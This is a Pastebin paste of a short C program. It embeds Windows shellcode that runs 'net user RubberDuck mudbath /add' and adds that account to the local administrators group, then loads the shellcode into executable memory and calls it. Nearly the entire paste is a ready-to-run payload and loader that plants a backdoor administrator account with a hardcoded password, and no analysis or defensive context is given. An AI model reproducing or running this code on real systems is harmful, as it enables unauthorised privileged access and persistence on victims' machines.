Advertisement
Guest User

Untitled

a guest
Sep 19th, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.08 KB | None | 0 0
  1. WINEXEC Adding new local administrator
  2. */
  3.  
  4. #include <stdio.h>
  5. #include <windows.h>
  6.  
  7. int main(){
  8. unsigned char shellcode[]=
  9. "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
  10. "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
  11. "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
  12. "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
  13. "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
  14. "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
  15. "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
  16. "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
  17. "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
  18. "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
  19. "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
  20. "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
  21. "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
  22. "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
  23. "\xFF\xD2\x6A\x05\xEB\x23\xFF\xD0\x68\x65"
  24. "\x73\x73\x01\x8B\xDF\xFE\x4C\x24\x03\x68"
  25. "\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54"
  26. "\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x57\xFF"
  27. "\xD0\xE8\xD8\xFF\xFF\xFF\x63\x6D\x64\x2E"
  28. "\x65\x78\x65\x20\x2F\x63\x20\x6E\x65\x74"
  29. "\x20\x75\x73\x65\x72\x20\x52\x75\x62\x62"
  30. "\x65\x72\x44\x75\x63\x6B\x20\x6D\x75\x64"
  31. "\x62\x61\x74\x68\x20\x2F\x61\x64\x64\x20"
  32. "\x26\x26\x20\x6E\x65\x74\x20\x6C\x6F\x63"
  33. "\x61\x6C\x67\x72\x6F\x75\x70\x20\x61\x64"
  34. "\x6D\x74\x6F\x72\x73\x20\x52\x75\x62\x62"
  35. "\x65\x72\x44\x75\x63\x6B\x20\x2F\x61\x64"
  36. "\x64\x00";
  37. LPVOID lpAlloc;
  38. void (*pfunc)();
  39.  
  40. printf("size = %i bytes\n", lstrlen(shellcode) + 1);
  41. printf("-------------------------\nUsername: RubberDuck\nPassword: mudbath\n");
  42. system("PAUSE");
  43.  
  44. lpAlloc = VirtualAlloc(0, 4096,
  45. MEM_COMMIT,
  46. PAGE_EXECUTE_READWRITE);
  47.  
  48. if(lpAlloc == NULL){
  49. printf("Memory not allocated!\n");
  50. return 0;
  51. }
  52.  
  53. memcpy(lpAlloc, shellcode, lstrlen(shellcode) + 1);
  54.  
  55. pfunc = lpAlloc;
  56.  
  57. pfunc();
  58.  
  59. return 0;
  60. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement